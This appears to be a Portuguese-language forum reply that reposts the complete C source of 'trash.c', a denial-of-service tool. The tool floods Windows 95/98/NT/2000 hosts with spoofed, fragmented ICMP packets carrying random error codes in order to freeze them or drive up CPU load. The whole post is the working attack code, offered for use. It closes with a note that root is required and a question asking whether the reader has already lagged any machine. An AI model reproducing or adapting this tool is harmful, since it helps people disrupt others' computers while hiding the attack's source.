slack_uba, eu já tinha colocado o link com o texto correto do arquivo trash.c (
http://newdata.box.sk/neworder/feb2000/trash.c), mas ta ae o script correto, caso o servidor por algum motivo apagá-lo:
----------------Copie esse texto para o arquivo trash.c---------------
/* Simple denial of service attack against Windows98/95/2000/NT Machines
Overview: sends random, spoofed, ICMP packets with randomly choosen
ICMP error codes.
Result: Freezes the users machine or a CPU usage will rise to extreme
lag. tested on:
2.0.35
2.2.5-15
2.2.9
2.0.36
You may freely alter this code, but give credit where credit is due
*/
/* greets go out to:
|gyr0|, Legio2000 Security Research(c)[for the idea and some of
the code from bloop.c], codesearc, P.A.T.C.H., ppl in
#ehforce@unet, #bitchx@unet, 0l3g, packetstorm security
-coded by misteri0 - [pr0tocol]
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
void banner(void) {
printf("trash.c - misteri0@unet [pr0tocol]\n\n");
printf("\n\n");
}
void usage(const char *progname) {
printf("usage:\n");
printf("./trash [src_ip] [dst_ip] [# of packets]\n",progname);
printf("\t[*] [ip_src] : ex: 205.56.78.0\n");
printf("\t[*] [ip_dst] : ex: 201.12.3.76\n");
printf("\t[*] [number] : 100\n");
printf("[pr0tocol] We are all connected by a simple line, just have to know where to cut it [pr0tocol]\n");
}
int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) {
struct hostent *host;
memset(addr,0,sizeof(struct sockaddr_in));
addr->sin_family = AF_INET;
addr->sin_addr.s_addr = inet_addr(name);
if (addr->sin_addr.s_addr == -1) {
if (( host = gethostbyname(name) ) == NULL ) {
fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);
return(-1);
}
addr->sin_family = host->h_addrtype;
memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
}
addr->sin_port = htons(port);
return(0);
}
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
int send_winbomb(int socket,
unsigned long spoof_addr,
struct sockaddr_in *dest_addr) {
unsigned char *packet;
struct iphdr *ip;
struct icmphdr *icmp;
int rc;
packet = (unsigned char *)malloc(sizeof(struct iphdr) +
sizeof(struct icmphdr) + 8);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
ip->ihl = 5;
ip->version = 4;
// ip->tos = 2;
ip->id = htons(1234);
ip->frag_off |= htons(0x2000);
// ip->tot_len = 0;
ip->ttl = 30;
ip->protocol = IPPROTO_ICMP;
ip->saddr = spoof_addr;
ip->daddr = dest_addr->sin_addr.s_addr;
ip->check = in_cksum(ip, sizeof(struct iphdr));
icmp->type = rand() % 15;
icmp->code = rand() % 15;
icmp->checksum = in_cksum(icmp,sizeof(struct icmphdr) + 1);
if (sendto(socket,
packet,
sizeof(struct iphdr) +
sizeof(struct icmphdr) + 1,0,
(struct sockaddr *)dest_addr,
sizeof(struct sockaddr)) == -1) { return(-1); }
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
ip->frag_off = htons(8 >> 3);
ip->frag_off |= htons(0x2000);
ip->check = in_cksum(ip, sizeof(struct iphdr));
icmp->type = rand() % 15;
icmp->code = rand() % 15;
icmp->checksum = 0;
if (sendto(socket,
packet,
sizeof(struct iphdr) +
sizeof(struct icmphdr) + 8,0,
(struct sockaddr *)dest_addr,
sizeof(struct sockaddr)) == -1) { return(-1); }
free(packet);
return(0);
}
int main(int argc, char * *argv) {
struct sockaddr_in dest_addr;
unsigned int i,sock;
unsigned long src_addr;
banner();
if ((argc != 4)) {
usage(argv[0]);
return(-1);
}
if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
fprintf(stderr,"ERROR: Opening raw socket.\n");
return(-1);
}
if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }
src_addr = dest_addr.sin_addr.s_addr;
if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); }
printf("Status: Connected....packets sent.\n",argv[0]);
for (i = 0;i < atoi(argv[3]);i++) {
if (send_winbomb(sock,
src_addr,
&dest_addr) == -1) {
fprintf(stderr,"ERROR: Unable to Connect To luser.\n");
return(-1);
}
usleep(10000);
}
}
--------------------------------- Fim -----------------------------------
Ah e precisa ser root pra conseguir abrir o socket também. Você já conseguiu lagar alguma máquina?
[]'s,
Fábio